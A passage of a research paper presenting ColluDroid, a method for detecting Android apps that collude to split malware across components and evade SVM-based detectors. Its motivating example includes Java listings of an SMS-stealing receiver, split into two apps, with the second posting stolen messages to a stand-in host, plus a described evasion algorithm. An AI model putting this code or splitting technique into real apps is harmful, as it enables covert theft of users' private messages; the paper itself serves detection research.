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Abstract: Android has become the most popular mobile platform, and a hot target for malware
developers. At the same time, researchers have come up with numerous ways to deal with malware.
Among them, machine learning based methods are quite effective in Android malware detection, the
accuracy of which can be as high as 98%. Thus, malware developers have the incentives to develop
more advanced malware to evade detection. This paper presents an adversary attack scenario
(Collusion Attack) that will compromise current machine learning based malware detection methods,
especially Support Vector Machines (SVM). The malware developers can perform this attack easily
by splitting malicious payload into two or more apps. Meanwhile, attackers may hide their malicious
behavior by using advanced techniques (Evasion Attack), such as obfuscation, etc. According to our
simulation, 87.4% of apps can evade Linear SVM by Collusion Attack. When performing Collusion
and Evasion Attack simultaneously, the evasion rate can reach 100% at a low cost. Thus, we proposed
a method to deal with this issue. This approach, realized in a tool, called ColluDroid, can identify
the collusion apps by analyzing the communication between apps. In addition, it can integrate
secure learning methods (e.g., Sec-SVM) to fight against Evasion Attack. The evaluation results show
that ColluDroid is effective in finding out the collusion apps and ColluDroid-Sec-SVM has the best
performance in the presence of both Collusion and Evasion Attack.
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1. Introduction

Malware has become a rising problem in the Android Operating System, according to the report
released by Macfee in 2017 [1]. Currently, the popularity of Android devices makes it a desirable target.
Kaspersky Lab also reported that it had detected 1,598,196 malicious installation packages in the third
quarter of 2017, which is 1.2 times more than in the previous quarter [2]. Enormous methods have
been proposed to detect this malware, such as static-analysis methods, dynamic-analysis methods,
and machine learning based methods. Generally, static-analysis methods [3,4] examine an app by
decompiling the app and then analyze the source codes; dynamic-analysis methods [5–7] analyze them
by running them on an emulator and monitor the status of the emulator; and machine learning based
methods [8–10] are to classify features that are extracted by static or dynamic analysis methods.

Malware developers may develop a pair of apps to evade detection. Each of them only needs to
request minimum privileges, which make it appear closer to a benign one. We call these apps Collusion
Apps and this kind of attack Collusion Attack. Apart from Collusion attack, malware developers may
also have the incentive to hide its malicious behavior by using some advanced techniques such as
obfuscation, dynamic code loading, etc. This kind of attack is called Evasion Attack.
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Researchers have reported some real collusion apps in recent years. The first known example is
named Soundcomber [11]. The first app stole sensitive data such as credit card numbers or Postal
Index Numbers (PINs). Then, it sent it to another app that has the permission of accessing the Internet
and finally sent out of the device through the Internet. Another example of collusion in the wild was
released in 2015 [12] by WooYun.org, a vulnerability reporting platform in China. It reported that
any app with Moplus software development kit (SDK) would collude to start an HTTP server in the
background on Android devices and can receive commands from outside. Moplus SDK is popular
and has been integrated into numerous Android apps, which means that the apps contain this SDK
will be able to conduct a Collusion Attack. It affects a large number of Android devices.

Machine learning based methods, such as Drebin [8], DenDroid [13], HinDroid [9], etc. have a
significant advantage in detecting the similarity between apps. As a result, they can be used for
malware classification tasks. According to their results, they can achieve 95% or even higher accuracy
just based on Support Vector Machines (SVM). However, they cannot detect collusion malware.
Actually, Collusion Attack is quite useful to evade their detection. We evaluate the effectiveness
of Collusion Attack by simulation. According to our simulation results, 87.4% of apps can evade
Linear-SVM by performing two apps collusion. If attackers perform three apps collusion, the result will
come to 94.8%. Thus, in this paper, we proposed ColluDroid to detect the malware collusion attack.
We screen out the apps that may have potential intent to collude by analyzing the communications
links between apps. If we have found that two apps may communicate through any channel, then we
examine the two apps as a whole by combining their features. In our experiment, we evaluated the
effectiveness of ColluDroid. It can successfully find our manually made collusion apps, where other
methods cannot. In addition, the speed is 15 times faster than traditional data-flow based methods
and we believe that it can be applied to analyze the collusion apps on a large scale.

On the other hand, if attackers perform Collusion Attack, they also may perform Evasion Attack.
Previous work has already investigated the effect of Evasion Attack on learning methods in different
applications [14–17]. However, as far as we know, they haven’t studied the evasion attack at the
presence of collusion. In our work, we evaluate the performance of ColluDroid with different learning
methods (Linear SVM and Sec-SVM). According to our experiments, ColluDroid-Sec-SVM has the best
performance against Collusion Attack and Evasion Attack.

To summarize, this paper makes the following contributions:

• Introducing Collusion Attack on SVM: By splitting one app into two, malware developers can
easily evade the detection of current SVM based methods. We also write four example apps to
demonstrate the idea of splitting.

• Proposing a method to detect the Collusion Attack: We present a method called ColluDroid to
deal with Collusion Attack. In our proposed method, we analyze all the possible communication
links to detect collusion.

• Evaluating the performance of ColluDroid with different learning methods. We develop a
prototype, and present results from experiments running on our data set. The result shows
the effectiveness of ColluDroid in dealing with collusion attacks and evasion attack. ColluDroid
with Sec-SVM has the best performance. Furthermore, we analyze the efficiency of ColluDroid.
The result shows that our ColluDroid is fast enough and can be applied on a large scale.

ColluDroid is implemented as a tool that can be deployed on both market-level (e.g., Google Play)
and end-user-level. When it is deployed on the market-level, it can be used to examine whether there
are collusion apps across the market or a certain app set (e.g., the apps that have been downloaded by
an end-user from this market.). When it is deployed on the end-user-level, it will be implemented in
two parts. One part is implemented as an app and installed on the user’s mobile devices. Once installed,
it will collect the installed application list and send the list to the other part. The other part is
implemented as a back-end server, which detects whether there is collusion behavior within the
app list.
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The remainder of this paper is organized as follows. Section 2 summarizes the basic terminologies
in Android and also its communication channels. Section 3 presents a example that motivate our work.
Section 4 provides ColluDroid architecture and details of it. Section 5 presents the evaluation results.
Finally, we conclude the paper and discuss the future works.

2. Background

2.1. Android Background

An Android app is implemented in Java and then compiled into Dalvik bytecode, which is called a
dex file. The dex file, the shared libraries and any other resources, including the AndroidManifest.xml file
that describes the app (the components, permissions, and intent Filters), are all included in the apk file.
The apk file is what usually packaged for distribution. In the following, we provide a brief view of
Android characteristics and the channels that might be used for collusion.

2.1.1. AndroidManifest.xml and Components

The AndroidManifest.xml holds information about the application structure and is organized in
the form of Components. Android Framework defines four kinds of Components, namely Activity,
Service, Broadcast Receiver, and Content Provider. Each kind of component are designed to perform a
specific action. Activities are the most common component. They are used to display a user screen.
Services perform long-running background processing, such as playing audio in the background.
Broadcast Receivers are used to receive system-wide notifications, such as device boot completed and a
new SMS message received. Finally, Content Providers provide a way of sharing structured data between
applications. The actions of each component are further specified through Intents Filters, which are all
contained in the AndroidManifest.xml. Almost all kinds of components except the Broadcast Receivers
are must be declared in the manifest file; Broadcast Receivers can be created in the application code at
runtime. The manifest file also contains the list of permissions which are requested by the application
to work and needed to access its components.

2.1.2. Inter-App Communication Channels

Android OS allows Apps to communicate in a variety of ways. The article [18] has investigated
the overt and covert channels that may be used in communication. The overt channels include Unix
Socket Communication, Internal/External Storage, Intent Communication and Shared Preference. The covert
channels include Processor Frequency, Threads Enumeration, Reading /proc/stat, etc. In our work, we
only focus on the overt channels and here we only briefly introduce the two main overt channels that
we concern, namely Intent Communication and Shared Preference.

Intent Communication is the communication channel among components within the
Android system. It is also called Inter-Component Communication—ICC for short. It means that the
components could communicate with each other through Intents. Intents are messages that are sent
among the three other components. Intents can be sent explicitly or implicitly, which are named Explicit
Intents and Implicit Intents separately.

An Intent being explicit means its target package name and class name are specified. When these
kinds of Intents are issued, the targeted components will be launched by the system. Typically, Explicit
Intents are used to connect the component within an app. However, malware can abuse them by
sending them to other applications. In this case, malware can directly launch other applications’
exposed components. In the next section, we will present an example to express how it was
abused by malware.

Unlike Explicit Intents, Implicit Intents do not name any specific components but instead declare
the functionality that they desire for their target. The desired functionality is described by three items:
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• An action string specifies the generic action to perform. Usually, an app specifies action constants
defined by the system Intent class or other framework classes. However, an app can also specify
their own actions. In this case, malware could specify their own unique action string to launch a
particular component.

• A category string containing additional information about the kind of component that should
handle the intent. For example, CATEGORY_APP_GALLERY category indicates that the intent
should be delivered to a gallery application. The target activity should be able to view and
manipulate image and video files stored on the device.

• A set of data fields specifies data to be acted upon or the Multipurpose Internet Mail
Extensions (MIME) type of that data. The type of data supplied is generally dictated by the
intent’s action. For example, if the action is ACTION_EDIT, the data should contain the URI of the
document to edit.

If a component wishes to receive implicit Intents, it has to declare Intent Filters, which describe the
attributes of the Intents that they are willing to receive. Each component can declare one or more intent
filters. Each intent filter specifies the type of intents it accepts based on the intent’s action, data, and
category. Components have an exported attribute. When this attribute is set to True, the component
will become accessible by other applications through ICC. Components that are not exported are only
accessible by the components within the same application.

Matching Intents with their target is done by the operating system during an Intent resolution
process. In the next section, we will describe how to perform a malicious operation through ICC,
which can not be detected by current detection methods easily.

Shared Preference is built-in key-value storage in Android. If we have a relatively small
collection of key-values that we would like to save, we should use the SharedPreferences Application
Programming Interfaces (APIs) [19]. We can create a new shared preference file or access an existing
one by calling getSharedPreferences(); then the shared preference file will be created or opened.
When creating, the sharedpreference file can be set into mode MODE_WORLD_READABLE and
MODE_WORLD_WRITEABLE, which makes it available to be read and written by other apps. As a
result, collude apps could benefit from this method to deliver messages.

3. Motivation

Malicious apps in Android are widespread on the Internet. Google market store Google Play has
deployed a detection tool, which is called Bouncer [20], to detect malware that is uploaded to the
market. However, due to the limitation of the tool, malware can still be found in Google Play. Moreover,
the presence of other third-party Android markets (e.g., Opera Mobile Store (a digital application
distribution platform used by more than 40,000 developers around the world, http://android.oms.apps.
bemobi.com/zh_us/), Wandoujia (a popular Android Market in China, https://www.wandoujia.com/))
makes malware ubiquitous. Malicious apps are created for a certain purpose, such as stealing user
credentials, auto-dialing premium numbers, and sending SMS messages without user’s concern, etc.
According to the survey [21], malicious payloads in these Apps can be classified into the following
categories. (1) Trojan; (2) Backdoors; (3) Worms; (4) Spyware (5) Botnet. In this section, we define the
collusion threat; then, we give a concrete example of how to make collusion attack and how it affect
SVM- based detecting methods.

3.1. Formal Definition of Collusion

A malicious payload is a set of actions that must be executed in a certain order. Actions are
operations that are specified by Android API (e.g., getDeviceID(), sendTextMessage()). A malicious
behavior can be performed by a single app or multi apps. In this paper, we model the
behavior by a ordered set (A,≤), where A is the set of actions and ≤ defines the order that must
be followed by actions.

http://android.oms.apps.bemobi.com/zh_us/
http://android.oms.apps.bemobi.com/zh_us/
https://www.wandoujia.com/
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Definition 1. Given an action sequence a1 · · · an, the extend action sequence of which is defined
as Extend(a1 · · · an) = a1 · · · b1 · · · ai · · · bn · · · an. i.e., Extend(a1 · · · an) is obtained by adding some
other actions between a1 and an. On the contrary, a1 · · · b1 · · · ai · · · bn · · · an is the subsequence of
a1 · · · an = Sub(a1 · · · b1 · · · ai · · · bn · · · an).

Letting A∗ denote the set of all actions,M∗ denotes the set of all malicious behavior. In the scope
of this paper,M∗ only refers to the behavior caused by single apps. Note that one may obfuscate a
malicious behavior by executing it with meaningless or unrelated actions. Then, Extend(M∗) denotes
all the possible implementations of malicious behavior. Similarly, the collusion behavior can be defined
as follows:

Definition 2. A set of app Z is colluding if they can execute a sequence of actions A = a1 · · · an

such that:

• There are communication links between the apps zm, zn ∈ Z . The ith link is denoted by Li(zm, zn).
The actions of app z is denoted by Action(z). The union action conducted by the ith link of
app zm, zn is denoted by UnionActioni(zm, zn) = ai · · · ajLi(zm, zn)aj+1 · · · ak, where ai · · · aj ∈
Action(zm) and aj+1 · · · ak ∈ Action(zn).

• There exists an extend action sequence UnionAction(z1, · · · , zn) ∈ Extend(M∗).

3.2. Motivation Example

We take a Trojan-SMS app for example to demonstrate how to perform an collusion attack.
Trojan-SMS apps belong to the Trojan family and are created to steal confidential user information,
such as contacts, SMS messages or passwords. The Trojan-SMS malware family is a dormitory threat in
2013 [22] and still plays an important role in current days. A typical code snippet of stealing SMS
is shown in Listing 1. Usually, real malware can not only steal users’ private information but also
can receive commands from controllers and even attempt to exploit root permissions. The codes in
Listing 1 just show one behavior of them, which is forwarding every text message the user has received
to the designated server.

Listing 1 declares a BroadcastReceiver component. It will be launched by the system when a new
SMS message is received. After it is launched, it does two main operations. The first operation is
saving the information contained in the SMS message (from lines 4 to 18) to a string list res. The second
operation is posting the information to a remote URL (lines 19 and 20).

When we apply machine learning methods to detect the behavior of this app, such as Drebin [8]
or HinDroid [9], these methods will extract the APIs the app has called as features, which represent the
actions Action(z) of the app z. As shown in Listing 1, the API calls of “Ljava/lang/Runtime;getRuntime()
Ljava/lang/Runtime”, “Ljava/lang/Runtime;exec (Ljava/lang/String;) Ljava/lang/Process”, etc. will be
extracted. In their detection phase, they will find that the feature of this app is much closer to
malware, Action(z) ∈ Extend(M∗). Thus, it will be labeled as a malicious app.

However, if we split the operations of this app into two or more apps, the result probably
will be different. Motivated by this idea, we split the app into two apps, which are shown in Listing 2
and Listing 3, respectively. The two separated apps are connected through ICC. This communication
link is denoted by L(app1, app2). If the two apps are installed on the same device, app1 will be
launched by the system when an SMS message is received, then apps1 will save the content
of the SMS. Next, the saved SMS is sent to app2 through ICC; finally, it will be posted to the
remote server. The behavior of app1 and app2 can be denoted as UnionAction(app1, app2) =

Action(app1)L(app1, app2)Action(app2).
If we apply a machine learning method to detect the malicious behavior of these two

apps separately, we cannot label the two apps as malicious. This is because, when we extract the feature
(e.g., API calls) of a single app, the feature is much closer to a benign app, Action(app1) /∈ Extend(M∗)

and Action(app2) /∈ Extend(M∗). It means just one of the two apps can not perform the malicious
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operation. However, if these two apps are installed on the same device, they could result in a collusion
attack, UnionAction(app1, app2) = Action(app1)L(app1, app2)Action(app2) ∈ Extend(M∗). Thus,
we need to combine the feature of the two apps to find out whether they are malicious.

Note that the example above just describes how to split the behavior of stealing SMS. How about
the other malicious behaviors, such as receiving commands of the remote server? Generally, the other
behaviors could also be transformed in the same way to evade detection. We have developed five
malware, detailed in Section 5, and manually split it into ten apps for evaluation. Figure 1 depicts this
progress. Firstly, we need to analyze the malicious behavior to figure out if it is possible to separate
the operation into two or more sub-procedures. Secondly, we could separate the sub-procedures into
different components and connect the components by Intents and Intent Filters. Other communication
channels can also be used to accomplish collusion; we just take the Intent Communication channel as
an example to demonstrate this problem. Next, we will describe how serious the problem is if all the
malware developers are willing to conduct a Collusion Attack.

MaliciousApp

Malicious 
Function 1

Malicious 
Function 2

<<Activity>>

MaliciousActivity

Perm

BenignApp1

Malicious 
Function 1

<<Activity>>

Activity1

Perm

BenignApp2

Malicious 
Function 2

<<Activity>>

Activity2

Perm

intent

Intent1:
className = Activity2

Figure 1. Motivation example of evasion attack.

Listing 1. Source codes of a Trojan-SMS app in the motivating example.

1 public class TrojanSMSReceiver extends BroadcastReceiver {
2 public void onReceive(Context context , Intent intent) {
3 List <String > res = new ArrayList <String >();
4 if(intent.getAction ().equals("SMS_RECEIVED")) {
5 Bundle bundle = intent.getExtras ();
6 SmsMessage [] msgs = null;
7 String msg_from;
8 if (bundle != null) {
9 res.add("time: " + Long.toString(System.currentTimeMillis () / 1000));

10 Object [] pdus = (Object []) bundle.get("pdus");
11 msgs = new SmsMessage[pdus.length ];
12 for (int i = 0; i < msgs.length; i++) {
13 msgs[i] = SmsMessage.createFromPdu ((byte []) pdus[i]);
14 msg_from = msgs[i]. getOriginatingAddress ();
15 String msgBody = msgs[i]. getMessageBody ();
16 res.add("from:" + msg_from);
17 res.add("text:" + msgBody);
18 }
19 Runnable uploader = new HttpPoster(url , res);
20 new Thread(uploader).start ();
21 }
22 }
23 }

Listing 2. The split Trojan-SMS App1 in the motivating example.

1 public class TrojanSMSReceiver extends BroadcastReceiver {
2 public void onReceive(Context context , Intent intent) {
3 List <String > res = new ArrayList <String >();
4 if(intent.getAction ().equals("SMS_RECEIVED")) {
5 Bundle bundle = intent.getExtras ();
6 SmsMessage [] msgs = null;
7 String msg_from;
8 if (bundle != null) {
9 res.add("time: " + Long.toString(System.currentTimeMillis () / 1000));

10 Object [] pdus = (Object []) bundle.get("pdus");
11 msgs = new SmsMessage[pdus.length ];
12 for (int i = 0; i < msgs.length; i++) {
13 msgs[i] = SmsMessage.createFromPdu ((byte []) pdus[i]);
14 msg_from = msgs[i]. getOriginatingAddress ();
15 String msgBody = msgs[i]. getMessageBody ();
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16 res.add("from:" + msg_from);
17 res.add("text:" + msgBody);
18 }
19 Intent i = new Intent ();
20 i.setAction("my.action.string");
21 i.putStringArrayListExtra("extra",(ArrayList <String >)res);
22 context.sendBroadcast(i);
23 }
24 }
25 }
26 }

Listing 3. The split Trojan-SMS App2 in the motivating example.

1 public class TrojanSMSReceiver extends BroadcastReceiver {
2 public void onReceive(Context context , Intent intent) {
3 List <String > res = new ArrayList <String >();
4 if(intent.getAction ().equals("my.action.string")) {
5 res = intent.getStringArrayListExtra("extra");
6 if (res != null) {
7 Runnable uploader = new HttpPoster("http :// www.malware.com", res);
8 new Thread(uploader).start ();
9 }

10 }
11 }

3.3. Collusion Apps to Evade SVM Detection

In this section, we will introduce the basic ideas of SVM based malware detection methods,
and then we will detail how the Collusion Attack makes the detection difficult.

3.3.1. SVM Based Malware Detection

Initially, the SVM based detection method, as well as other machine learning methods, performs a
static analysis on Android Apps to construct a feature space, denoted as D. Android Apps are then
mapped onto the feature space as follows. Let us assume that an Android App is represented as an
object z. We then denote with Φ : Z → X that maps an object z to a d-dimensional feature vector
x = (x1, x2, . . . , xd)T ∈ X = {0, 1}d, where each feature is set to 1 or 0 if the corresponding feature is
present or not.

As apps have been represented as feature vectors, we then can use SVM [23] to train a classification
model. SVM aims to find a hyperplane that can separate two classes of samples with the maximal
margin. Mathematically, it can be formulated as follows:

min
w

1
2‖w‖2

2 + α1>ξ

s.t. 1− ξ − y · (X>w + b) ≤ 0,
ξ ≥ 0,

(1)

where X ∈ Rd×n is the observations, y ∈ Y = {−1,+1} is the label, and −1(+1) represents the
legitimate (malicious) class. b is the offset, ξ is a slack variable, 1 is a n-dimensional vector whose
components are all 1, and α, λ are trade-off parameter between error and margin. After being trained
on the dataset, the trained classification model f (x) = wT · x + b will be used as a malware detector.
The label yc = sign( f (x)) is given by the classifier. We use yc to refer to the label assigned by the
classifier as opposed to the true label y.

3.3.2. Collusion Attack on SVM

In Section 3.2, we have introduced a general idea of how to make collusion apps. Since we did not
have the source codes of the malware samples in our data set, we cannot separate the malware into
collusion apps manually from the source codes. Thus, we try to conduct Collusion Attack by simulation.
From Section 3.3.1, we know that all the test apps will be mapped as a d-dimensional feature vector x.
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Thus, to simulate collusion apps is equivalent to simulating the feature vector of these collusion apps.
In order to separate the function of original malware into two apps, we can simulate this separation by
splitting its feature vector into two sets.

The problem is that the two simulated split apps may not be able to run properly, as the apps
require some basic API calls to run, such as com.android.Activity: void onCreate() etc. Thus, we wrote a
blank template app that contained all the necessary APIs. Then, we combined the split feature with
the features of the blank template app; we could obtain runnable apps. In addition, the split feature set
could have overlap features so that the simulated split apps can be closer to reality.

We assume that the collusion attackers have perfect knowledge of the SVM classification model so
that they can maximize the effect of Collusion Attack. This assumption can illuminate the worst case
of this collusion problem. We referred to the two split feature sets as A and B, and the split apps
as AppA and AppB, respectively. Then, our splitting problem could be formulated as finding a split
strategy S that could split the complete feature set F into two sets A and B to minimize the probability
of labeling AppA and AppB as malicious by our pre-trained detection model. The split problem can be
formulated as:

S∗ = argmaxsg(s) =
|F(MφA(s))

⋂
F(MφB(s))|

|M| , (2)

where M is malware test set; |M| represents the number of malware in the data set; F(x) is the app
set where app x is false labeled; and φA(x) is a function that maps from individual x to features that
belongs to set A.

The optimal split strategy is to find a strategy S∗ to maximize g(·). This problem is a discrete
optimal problem [24]. An evolution algorithm would be a suitable solution to it. Thus, we employ a
Genetic Algorithm. A genetic algorithm is often used to generate high-quality solutions to optimization
and search problems. It has a standard workflow and usually starts from a population of randomly
generated individuals. It is an iterative process, with the population in each iteration called a generation.
In each generation, the fitness of every individual in the population is evaluated; after mutation and
crossover of each, it forms a new generation. The new generation is then used in the next iteration
of the algorithm. The algorithm usually terminates when a maximum number of generations has
been produced.

A typical genetic algorithm requires: (1) a genetic representation of the solution also called
Individual; (2) a fitness function to evaluate the solutions. Thus, we defined the individual, fitness
function and the other parameters as follows, to apply the algorithm to our problem.

Individual When splitting the features, for every single feature, it can be split into set A, B or
both A and B. As a result, for every feature x, there are three possible values, as shown in Equation (3).
Individual consists of all the features, and can be formulated as Equation (4). It means that Individual is
defined as an integer list that contains all the features. The value of ith item in the list represents the ith
feature should be split into set A, B or both:

x =


0 x ∈ A,
1 x ∈ B,
2 x ∈ A

⋂
B,

(3)

Ind = x0x1 · · · xn, (4)

where n is the number of features.
Fitness Function It is used to measure the individuals and to guide the algorithm towards

optimal solutions. Thus, we can simply define it as g(x). To be more specific, the fitness function can
be formulated as:

f itness(ind) = g(ind) =
|F(MφA(ind))

⋂
F(MφB(idn))|

|M| . (5)
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Other Parameters of Genetic Algorithm We perform a standard Genetic Algorithm in our
experiment. Apart from the definition of individuals and fitness function, we also need to set other
parameters, such as the population size, mutation rate, etc. Boyabatli [25] have investigated how
to choose the parameters of Genetic Algorithm and its impact on the results. In our experiment,
we choose a set of typical parameters. We initial the population with random values, and then iterate
for 2000 generations. The crossover probability and mutation rate are 0.5 and 0.2, respectively.

The effect of Simulated Collusion Attack Before we conduct a simulated collusion attack,
we train and test the SVM classification model with linear kernel on the dataset in Section 5.
The accuracy is 94.6%. After our simulation collusion attack by running Genetic Algorithm iteratively,
we can get the results as shown in Figure 2. By the 2000th generation, it almost converged. The best
individual’s fitness value is 78.4%, which indicates that 78% of apps in our data set can be split
successfully by our best individual feature splitting scheme. Our simulated collusion attack can make
SVM accuracy drop from 94.6% to 31.6%. Furthermore, we change Equation (4) to support splitting
into three sets. After iterating for 2000 generations, the result is shown in Figure 2, from which we
can know that 94.8% of the apps can evade detection of current methods when they are split into
three apps. Our simulated collusion attack demonstrated that a large majority of malicious apps could
evade the detection of SVM by splitting their malicious behavior to two or more apps.

Figure 2. Best fitness score of individuals.

3.3.3. Evasion Attack on SVM

Apart from splitting the app into two or more apps, malware developers also have the incentive to
add benign functions to hide its malicious behavior. In addition, malware developers have the incentive
to hide their malicious behavior by using some advance technique [26], such as obfuscation, reflection,
and class encryption, etc. It is called Evasion Attack. Researchers [16,17,26] have formulated the optimal
evasion problem to different optimization problems. In general, all the proposed attacks attempt to
find a sample x∗ ∈ X that evades detection by minimally manipulating the original malware feature
x ∈ X, where the amount of manipulations is characterized by a suitable distance function.

For example, in [16], the optimal evasion is formulated as

x∗ = argminx′c(x′, x),
s.t. f (x′) < 0,

(6)

where c(x′, x), with c : X × X 7→ R, is the distance of the manipulated sample from the original
malware, c(x′, x) is usually evaluated by the Hamming distance, and x′ is classified as legitimate.

Under our perfect knowledge assumption, the direct gradient-based attack would be the best
way to perform an evasion attack [27]. The procedure of Gradient-based evasion attack is as shown
in Algorithm 1. The idea is to move a step towards the discriminant boundary in each iteration until
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evading the detection. The gradient represents the fastest direction to the evasion point, so following
the gradient detection to evade can address the worst case. The gradient of SVM differs according to
the kernel. For example, the gradient of Linear SVM (Equation (1)) is O f (x) = w.

Algorithm 1 Gradient-based Evasion Algorithm.

Input:
the malicious sample, x; a small positive constant: ξ; the gradient step size, t; the maximum
number of iteration, m;

Output:
the closest evasion point to x, x′;

1: while i > m or c(xi, x)− c(ci−1, x) < ξ do
2: if f (xi) > 0 then
3: xi = xi−1 − tO f (xi−1)
4: end if
5: if xi violates constraints then
6: Project xi to the feasible domain
7: end if
8: i = i + 1
9: end while

10: return x′ = xi;

However, when malware developers adopt both Collusion Attack and Evasion Attack to evade
detection, the evasion problem will become more serious. Unfortunately, it is very likely to take place in
the wild because the colluded apps are often disguised as normal apps, and will include the functions
that make them look legitimate, which means that they tend to add features. Our experiments in
Section 5 will detail the evasion problem on SVM. In the next section, we will describe how to make
SVM more secure to avoid these attacks.

4. Architecture of ColluDroid

In order to minimize the effect of Collusion Attack and Evasion Attack on SVM, we designed
ColluDroid, an approach to find all the collusion apps. At first, we need to leverage an SVM method
to learn the difference between malware and benign apps. Then, we try to find out the collusion
apps in our test dataset. Just as shown in Figure 3, our detection method has two phases. The first
phase is the Training Phase (represented by the black line in Figure 3) and the second is the Detecting
Phase ( represented by the red line ). In the training phase, we firstly extract the features of all the
apps in the dataset. Then, we make use of a classification method to take the extracted features as
input and output a malware classification model. In the detection phase, we also need to extract the
features of test apps. Then, we analyze the communication links and export the app sets that might
be able to communicate by ICC or shared preference. Next, we combine the features of those apps
that have communication links. Finally, the combined feature is fed as input into the classification
model and outputs the classification label that shows whether the test app set is malicious or benign.
If it is malicious, the apps in the test set are collusion apps. In the following two sub-sections, we will
describe the two phases respectively.
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Figure 3. Architecture of ColluDroid.

4.1. Training Phase

4.1.1. Feature Extraction

In our method, we extract both permissions and the API calls of each app as features. As for
the permissions, we leverage APKtools to decompile the APK file and then extract the permission
information that is stored in the AndroidManifest.xml. In order to extract the API calls, at first, we benefit
the Soot framework [28] to extract all the Android official API calls from Android SDK and assign
each API call an ID. Then, we extracted the API call from the APK file of each app in a similar
way. In our motivating example (Listing 1), all the APIs that have been invoked in the Trojian-SMS
app will be extracted, such as android.content.Context: void sendBroadcast(android.content.Intent),
android.content.Intent: android.content.Intent putExtra(java.lang.String,int). In addition, permissions
like INTERNET, RCEIVE_SMS will be extracted.

As we mentioned in Section 3.3.1, each app z will be mapped as a d-dimensional feature vector
x = (x1, x2, . . . , xd)T ∈ X = {0, 1}d. Thus, in our running example, the feature will be extracted as
follows, where S1 denotes permission feature set and S2 denotes the API call feature set:

x = Φ(z) =



1
0
· · ·
1
0
· · ·

Permission : RCEIVE_SMS
Permission : SEND_SMS
· · ·

 S1,

API : getMessageBody()
API : sendTextMessage()
· · ·

 S2.

4.1.2. Secure Learning Method

As the developers have incentives to manipulate features to evade detection, we have to consider a
more secure SVM classifier to make it more difficult for attackers to evade. Here, we take Sec-SVM [26]
as an example and test it under our ColluDroid framework.

Sec-SVM [26] is based upon the rationale that a robust classifier should not change its decision on a
sample if only a small subset of feature values are modified. For linear classifiers, this can be easily
quantified by measuring whether the classifier’s weights are evenly distributed among features since
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more evenly distributed feature weights should require the adversary to manipulate a higher number
of features to evade detection. According to [26], the Sec-SVM problem can be defined as:

min
w,b

1
2‖w‖2

2 + C ∑n
i=1 max(0, 1− yi f (xi)),

s.t. wlb
k ≤ wk ≤ wub

k .
(7)

Note that this optimization problem is identical to standard SVM, except for the presence of a box
constraint on w. The lower and upper bounds on w are defined by the vectors wlb = (wlb

1 , ..., wlb
d ) and

wub = (wub
1 , ..., wub

d ) , which is selected with a procedure. It is a trade-off considering both accuracy
and security.

4.2. Detection Phase

In this phase, we first extract the features of each app in the test app set, then find the apps
that might have communication links, and then use the combined features for a detection model.
The detection model decides whether the app set is malicious or benign. As the feature extraction is
the same as the training phase, we will just describe the communication link extraction below.

4.2.1. Extract Communication Links

In Section 2, we have introduced some overt communication channels. Now, we need to extract
these properties from an APK file and find out which app may have the potential to communicate with
other apps.

Intents and Intents Filters Extraction. The idea of resolving Intents is using a static analysis tool
such as Soot framework [28] to locate where the intent is sent (line 20 in Listing 2) and then perform a
static constant propagation to determine the properties of the Intent. As for resolving the properties of
Intent Filters, it is much simpler. We analyze the Intent Filters declared in AndroidManifest.xml file.
Note that resolving the Intent Filters of Broadcast Receiver is a bit more complex, as we not only need to
analyze the AndroidManifest.xml but also need to analyze the codes because Broadcast Receiver is allowed
to register dynamically in codes.

Figure 4 shows a description of Intents and Intent Filters extracted in this section.
Some components may not declare Intent Filter in AndroidManifest.xml file, but they can still receive
explicit intent. Thus, we generate a default Intent Filter for them, in order to handle explicit Intents
generically. Every component has at least one Intent Filter with an Application Name and a Component
Name attribute.

Intent

Application Name
Target Application
Target Component
Uses Permissions
Permission
Type
Action
Categoties
Data

Intent Filter

Application Name
Component Name
Uses Permissions
Permission
Exported
Type
Action
Categoties
Data

Figure 4. Intent and Intent Filters.

In our running example, Activity1 declares one explicit intent, and there are two components in
total. Thus, there is one Intent and two Intent Filters extracted.

ICC communication computation. Matching explicit intents is straightforward. We just need to
match the target application field and target component field of Intents with the application name
field and component name field of Intent filters. While matching implicit intent is a bit complex,
the resolution of an implicit intent involves matching the action, category and data fields with a
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compatible IntentFilter, known in the Android development guide as action test, category test, and data
test, respectively.

Examples of such analysis tools include ComDroid [4], EPICC [29] and IC3 [30]. We choose
IC3 for Parser in this work. Every link is extracted in the form of a four-tuple 〈sender app,
sender component, receiver app, and receiver component〉.

Shared Preference Extraction. We extract the app’s shared preferences by track the parameters
of the API getSharedPreferences(). getSharedPreferences() has two parameters, the first one is the name
of preferences file and the second one is the file’s open mode. We only extract the name of the
preferences file when its open mode is MODE_WORLD_READABLE or MODE_WORLD_WRITEABLE.
If we cannot extract the preferences file name by static analysis, we will refer to the name as “*”,
which means it can be stored as whatever the app wants to.

Shared Preference Communication Computation. In this procedure, we find the app pairs that
have the potential to read or write the same preferences file. If the file name is “*”, it means that this
app has the potential to communicate with any app that has read or write shared preferences files.

4.2.2. Collusion Malware Detection

After computing all the communication links, we need to analyze them. The sender app and the
receiver app of each link may be able to perform a Collusion Attack. In this step, we combine the
features of the sender app and the receiver app. Then, the combine features will be fed as input to the
malware detector, which is the classification model we have trained in the training phase. The malware
detector will output the category the combine features belong to. If the output label is Benign,
ColluDroid believes the sender app and receiver app cannot perform Collusion Attacks. However, if
the out label is Malicious, ColluDroid will report the link as malicious. Thus, the collusion apps are
detected.

5. Evaluation

We implemented the method of this paper and released it as a tool called ColluDroid. Then, we
applied some experiments to evaluate the performance of ColluDroid. Our experiments are performed
on 5000 benign apps that we downloaded from Google Play in late 2017 and 5000 malicious apps
which is an extended dataset based on Drebin [8].

As ColluDroid framework can integrate different machine learning methods, we take SVM
with Linear Kernel and Sec-SVM (Section 4.1.2) as representatives to evaluate the performance.
Thus, under the ColluDroid framework, we have two methods to evaluate, namely ColluDroid-Linear
SVM and ColluDroid-Sec-SVM. In order to demonstrate the effectiveness of ColluDroid framework,
we also evaluate the original Linear SVM and Sec-SVM for comparison. In the following sections,
we performed a few experiments and attempted to answer the following three research questions:
(1) Can ColluDroid detect the collusion apps effectively? (2) Among the four tested methods, which one
has the best performance against collusion and evasion attack? (3) What is the efficiency of ColluDroid?
The next sections address each research question in details.

5.1. Q1&Q3: Effectiveness and Performance of ColluDroid

In order to measure the effectiveness of these methods, we first trained the classification model on
the dataset mentioned above. Then, we perform three experiments to evaluate our approach. In the
first experiment, we try to answer the research question one. However, due to the lack of real collusion
malware, we made four malicious apps manually to make them as the ground truth. Then, we
